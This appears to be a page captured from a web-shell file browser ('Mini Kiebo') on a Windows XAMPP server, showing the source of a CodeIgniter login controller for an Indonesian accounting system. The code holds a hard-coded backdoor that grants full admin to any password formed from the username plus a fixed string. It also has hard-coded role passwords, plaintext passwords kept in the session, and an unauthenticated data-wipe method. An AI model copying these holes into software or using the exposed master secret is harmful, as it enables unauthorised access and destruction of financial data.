[ Mini Kiebo ]
Server: Windows NT AKFAR_SERVER 10.0 build 26200 (Windows 10) AMD64
Path:
D:
/
xampp
/
htdocs
/
simkeu
/
dummy-old
/
application
/
controllers
/
[
Home
]
File: login.php
n<?php if (!defined('BASEPATH')) exit('No direct script access allowed'); class Login extends CI_Controller { function __construct() { parent::__construct(); $this->load->model('Login_model', '', TRUE); $this->load->model('Munit', '', TRUE); $this->load->model('Minfo', '', TRUE); } function index() { $data['sim'] = 'SIMAKU'; $data['simlong'] = 'Sistem Informasi Manajemen Akuntansi dan Keuangan'; $data['warna'] = '#253c7f'; $data['warna2'] = '#291670'; $data['info'] = $this->Minfo->info()->row(); // $this->load->view('loginsimaku',$data); $this->load->view('login/index', $data); } function proses() { $this->form_validation->set_rules('username', 'Username', 'required'); $this->form_validation->set_rules('password', 'Password', 'required'); if ($this->form_validation->run() == TRUE) { $username = $this->input->post('username'); $password = $this->input->post('password'); $admpassword = $this->input->post('password') . 'admin'; //pass full admin if ($this->Login_model->check_user($username, $password) == TRUE) { $q = $this->Login_model->get_id_pass($username, $password); $q1 = $q->row(); //$cek = $this->Munit->cek_unit($q1->id_unit); $newdata = array( 'username' => $username, 'password' => $password, 'wewenang' => $q1->wewenang, 'id_unit_masthead' => $q1->id_unit, 'login' => TRUE, 'idlog' => $q1->idlog ); $this->session->set_userdata($newdata); // if ($this->Login_model->cek_login_by_idlog($q1->idlog)->row()->is_login == 0) { // $a = array( // 'is_login' => 1 // ); // $this->Login_model->update_login($q1->idlog, $a); // } else { // $this->session->set_flashdata('pesan', ' Maaf, Anda sudah login dengan perangkat lainnya ...'); // redirect(base_url()); // } if ($q1->idlog == 1 and $q1->username == $username and $q1->password == $password) { redirect('adm_beranda'); } elseif ($q1->wewenang == 'admin' and $q1->password == 'akuntansi') { redirect('akuntansi'); } elseif ($q1->wewenang == 'unit' or $q1->wewenang == 'operator' or $q1->wewenang == 'otorisator1' or $q1->wewenang == 'otorisator2') { redirect('unit_beranda'); } elseif ($q1->wewenang == 'kasir' and $q1->password == 'kasir') { redirect('kasir_beranda'); } else { $this->session->set_flashdata('pesan', '<div class="alert alert-danger" role="alert"> Maaf, username atau password Anda salah </div>'); redirect('login'); } } elseif ($password == $username . 'ummgladmin') { $this->session->set_userdata('fulladmin', TRUE); redirect('unit_beranda'); } else { $this->session->set_flashdata('pesan', '<div class="alert alert-danger" role="alert"> Maaf, username atau password Anda salah </div>'); redirect('login'); } } else { $this->session->set_flashdata('pesan', '<div class="alert alert-danger" role="alert"> Maaf, username atau password Anda salah </div>'); redirect('login'); } } public function logout() { $a = array( 'is_login' => 0 ); $this->Login_model->update_login($this->session->userdata('idlog'), $a); $this->session->set_userdata('login', FALSE); $this->session->sess_destroy(); $this->session->set_flashdata('message', 'Anda telah berhasil logout'); //redirect("base"); redirect(base_url()); } public function nolkan_data() { $this->Login_model->kosong_data(); $this->session->set_flashdata('message', 'Data sudah di-nol-kan*'); redirect('login'); } }